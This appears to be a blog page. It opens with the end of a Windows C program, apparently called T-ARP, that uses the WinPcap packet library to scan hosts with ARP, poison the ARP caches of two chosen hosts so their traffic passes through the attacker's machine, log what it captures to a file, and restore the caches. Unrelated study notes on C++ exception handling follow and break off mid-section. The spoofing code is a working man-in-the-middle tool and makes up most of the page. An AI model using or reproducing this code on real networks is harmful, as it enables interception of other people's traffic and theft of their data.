	for(k=0;k<stimes;k++)
	{
		if(stimes==1)
		{
			arp.arp_tpa=htonl(firstip+(num++));
		}
		else if(stimes==2)
		{
			switch(k)
			{
			case 0:
				arp.arp_tpa=htonl(firstip);
				break;
			case 1:
				arp.arp_tpa=htonl(secondip);
				break;
			default:
				break;
			}
		}

		memset(sendbuf,0,sizeof(sendbuf));
		memcpy(sendbuf,ð,sizeof(eth));
		memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

		PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
		if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
		{
			printf("PacketSendPacket in sendMASR Error: %d\n",GetLastError());
			return -1;
		}
	}
	return 0;
}
		
DWORD WINAPI sendSR(LPVOID no)
{
	int     fun=*(int *)no;
	int     j,k;
	char    sendbuf[1024];
	struct  sockaddr_in  fsin,ssin;
	BOOL    stimes=FALSE;
	ETHDR   eth;
	ARPHDR  arp;

	fsin.sin_addr.s_addr=htonl(firstip);
	ssin.sin_addr.s_addr=htonl(secondip);

	eth.eh_type=htons(ETH_ARP);
	arp.arp_hdr=htons(ARP_HARDWARE);
	arp.arp_pro=htons(ETH_IP);
	arp.arp_hln=6;
	arp.arp_pln=4;
   	arp.arp_opt=htons(ARP_REPLY);       

	if(fun==3)
	{
    	if(mm)
		{
			if((firstip==myip) && (secondip==myip))
			{
	            	    	fm=TRUE;
	          	    	sm=TRUE;

				memcpy(fmac,mmac,6);
				memcpy(smac,mmac,6);
			}
			else if(!fm || !sm)
			{
	            	    	printf("\nNot get enough data\n"); 
	       	    	return -1;
			}

			for(j=0;j<2;j++)
			{
				if(j==0)
				{
					printf("\nSpoofing %.16s :  ",inet_ntoa(fsin.sin_addr));
					printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));
				}
				else if(j==1)
				{
					printf("Spoofing %.16s :  ",inet_ntoa(ssin.sin_addr));
					printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));
				}
                           for(k=0;k<5;k++)
		        	    	printf("%.2x-",mmac[k]);
		           	printf("%.2x\n",mmac[5]);
			}
			printf("\ni will try to snoof ...\n\n");
    	           	stimes=TRUE;
		}
		else 
		{
				printf("\nNot get enough data\n"); 
    			return -1;
		}
	}
	else if(fun==4)
	{
		if(mm) 
		{
			if((firstip==myip) && (secondip==myip))
			{
    	            		fm=TRUE;
    	            		sm=TRUE;

				memcpy(fmac,mmac,6);
				memcpy(smac,mmac,6);
			}
			else if(!fm || !sm)
			{
	         	    	printf("\nNot get enough data\n");
	          	    	return -1;
			}

			printf("\nReset %.16s :  ",inet_ntoa(fsin.sin_addr));
			printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));

                    for(k=0;k<5;k++)
	          	    	printf("%.2x-",smac[k]);
	          	printf("%.2x\n",smac[5]);

			printf("Reset %.16s :  ",inet_ntoa(ssin.sin_addr));
			printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));

                    for(k=0;k<5;k++)
	          	    	printf("%.2x-",fmac[k]);
	            	printf("%.2x\n\n",fmac[5]);

    	       	stimes=FALSE;
		}
		else 
		{
			printf("\nNot get enough data\n"); 
    			return -1;
		}
	}
	else
		return -1;

	do
	{
		memcpy(eth.eh_dst,fmac,6);
		memcpy(arp.arp_tha,fmac,6);
		arp.arp_tpa=htonl(firstip);
		arp.arp_spa=htonl(secondip);

		if(!stimes)
		{
			memcpy(eth.eh_src,smac,6);
			memcpy(arp.arp_sha,smac,6);
		}
		else
		{
			memcpy(eth.eh_src,mmac,6);
			memcpy(arp.arp_sha,mmac,6);
		}

		memset(sendbuf,0,sizeof(sendbuf));
		memcpy(sendbuf,ð,sizeof(eth));
		memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

		PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));

           	if(PacketSetNumWrites(lpadapter,2)==FALSE)
		{
   			printf("Warning: Unable to send a packet 2 times\n");
		}

		if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
		{
			printf("PacketSendPacket in SendSR Error: %d\n",GetLastError());
			return -1;
		}
		Sleep(1000);  

		memcpy(eth.eh_dst,smac,6);
		memcpy(arp.arp_tha,smac,6);
		arp.arp_tpa=htonl(secondip);
		arp.arp_spa=htonl(firstip);

		if(!stimes)
		{
			memcpy(eth.eh_src,fmac,6);
			memcpy(arp.arp_sha,fmac,6);
		}
              else	
		{
			memcpy(eth.eh_src,mmac,6);
			memcpy(arp.arp_sha,mmac,6);
		}


		memset(sendbuf,0,sizeof(sendbuf));
		memcpy(sendbuf,ð,sizeof(eth));
		memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

		PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
		if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
		{
			printf("PacketSendPacket int sendSR Error: %d\n",GetLastError());
			return -1;
		}
		Sleep(1000);
	}while(stimes);

	if(fun==4)
		printf("Reset Successfully");

	return 0;
}

int main(int argc,char *argv[])
{
	HANDLE   sthread,rthread;
	WCHAR    adaptername[8192];
	WCHAR    *name1,*name2;
	ULONG    adapterlength;
	DWORD    threadsid,threadrid;
	struct   NetType      ntype;
	struct   bpf_stat     stat;
	struct   sockaddr_in  sin;
	struct   npf_if_addr  ipbuff;
	int      adapternum=0,opti=0,open,i,total;
	long     npflen;

	system("cls.exe");
	start();

	if(argc!=4)
	{
		usage();
		getche();
		return -1;
	}
	else
	{
		if(!strcmp(argv[1],"-m"))
		{
			opti=1;
		}
		else if(!strcmp(argv[1],"-a"))
		{
			opti=2;
		}
		else if(!strcmp(argv[1],"-s"))
		{
	 		opti=3;
 
               	if((fp=fopen("capture.txt","w+"))==NULL)
	        	{
	                  	printf("Open capture.txt Error: %d\n");
    	                    	return -1;
	       	}
    	              else
	       	{
                           fwrite("T-ARP Captrue Data",20,1,fp);
	       	}
	       }
		else if(!strcmp(argv[1],"-r"))
		{
			opti=4;
		}
		else
		{
			usage();
			getche();
			return -1;
		}
	}


	firstip=ntohl(inet_addr(argv[2]));
	secondip=ntohl(inet_addr(argv[3]));
	total=secondip-firstip+1;

	printf("\nLibarary Version: %s",PacketGetVersion());

	adapterlength=sizeof(adaptername);

	if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)
	{
		printf("PacketGetAdapterNames Error: %d\n",GetLastError());
		return -1;
	}
	
	name1=adaptername;
	name2=adaptername;
	i=0;

	while((*name1!=''\0'') || (*(name1-1)!=''\0''))
	{
		if(*name1==''\0'')
		{
			memcpy(adapterlist[i],name2,2*(name1-name2));
			name2=name1+1;
			i++;
		}
		name1++;
	}

	adapternum=i;
	printf("\nAdapters Installed:\n");
	for(i=0;i<adapternum;i++)
		wprintf(L"%d - %s\n",i+1,adapterlist[i]);

	do
	{
		printf("\nSelect the number of the adapter to open: ");
		scanf("%d",&open);
		if(open>=1 && open<=adapternum)
			break;         
	}while(open<1 || open>adapternum);

	lpadapter=PacketOpenAdapter(adapterlist[open-1]);

	if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))
	{
		printf("PacketOpenAdapter Error: %d\n",GetLastError());
		return -1;
	}

	if(PacketGetNetType(lpadapter,&ntype))
	{
		printf("\n\t\t*** Host Information ***\n");
		printf("[LinkTpye:]\t%d\t\t",ntype.LinkType);    
		printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);
	}

	npflen=sizeof(ipbuff);  
	if(PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen))
	{
		sin=*(struct sockaddr_in *)&(ipbuff.Broadcast);
		printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));

		sin=*(struct sockaddr_in *)&(ipbuff.SubnetMask);
		printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));

		sin=*(struct sockaddr_in *)&(ipbuff.IPAddress);
		printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));
		myip=ntohl(sin.sin_addr.s_addr);

		printf("[MACAddress:]");
	}
	else
	{
		printf("\nNot get enough data\n");
		PacketFreePacket(lppackets);
		PacketCloseAdapter(lpadapter);
		return -1;
	}

	if((lppackets=PacketAllocatePacket())==FALSE)
	{
		printf("PacketAllocatePacket send Error: %d\n",GetLastError());
		return -1;
	}

	rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid);
	Sleep(300);

	if(getmine()) 
	{
    	PacketFreePacket(lppackets);
    	PacketFreePacket(lppacketr);

    	PacketCloseAdapter(lpadapter);
		return -1;
	}
	Sleep(300);

	if((opti==1) || (opti==2))
	{
		for(i=0;i<total;i++)
		{
			sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
			Sleep(30);
		}
		Sleep(1000);
	}
	else if((opti==3) || (opti==4)) 
	{
		sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
		Sleep(300);
		CloseHandle(sthread);

		sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid);
	}

	WaitForSingleObject(sthread,INFINITE); 
	CloseHandle(sthread);
	CloseHandle(rthread);

	if(PacketGetStats(lpadapter,&stat)==FALSE)
	{
		printf("Warning: Unable to get the adapter stat\n");
	}
	else
	{
		printf("\n\n%d packets received, %d packets lost !\n",stat.bs_recv,stat.bs_drop);
	}
	PacketFreePacket(lppackets);
	PacketFreePacket(lppacketr);

	PacketCloseAdapter(lpadapter);

	return 0;
}

2月2日

Exception Handling

(原创,请勿转载)
Traditional error handling: Error handling is quite straightforward when you know exactly what to do, because you have all the necessary information in that context. You can just handle the error at that point.The problem occurs when you don't have enough information in that context, and you need to pass the error information into a different context where that information does exist. In C, you can handle this situation using three approaches:
   
1.      Return error information from the function, then tedious and obfuscating error checking must occur with each function call.
   
2.      Use the little-known Standard C library signal-handling system, implemented with the signal( ) function, this approach involves high coupling because it requires the user of any library that generates signals to understand and install the appropriate signal-handling mechanism. In large projects the signal numbers from different libraries might clash.
   
3.      Use the nonlocal goto functions in the Standard C library: setjmp( ) and longjmp( ). With setjmp( ) you save a known good state in the program, and if you get into trouble, longjmp( ) will restore that state. Again, there is high coupling between the place where the state is stored and the place where the error occurs.

 

Throwing an exception and Catching an exception:

try {

  // Code that may generate exceptions

} catch(type1 id1) {

  // Handle exceptions of type1

} catch(type2 id2) {

  // Handle exceptions of type2

} catch(type3 id3)

  // Etc...

} catch(typeN idN)

  // Handle exceptions of typeN

}

 

Exception matching : it is always better to catch an exception by reference instead of by value. No automatic type conversions are used to convert from one exception type to another in the process of matching

 

Catching any exception and Rethrowing an exception:

catch(...) {

cout << "an exception was thrown" << endl;

// Deallocate your resource here, and then rethrow

     throw;

}

Uncaught exceptions : If none of the exception handlers following a particular try block matches an exception, that exception moves to the next-higher context, that is, the function or try block surrounding the try block that did not catch the exception. If no handler at any level catches the exception, the special library function terminate() is automatically called. which means that destructors for global and static objects do not execute. You can install your own terminate() function using the standard set_terminate() function, which returns a pointer to the terminate( ) function you are replacing

Cleaning up :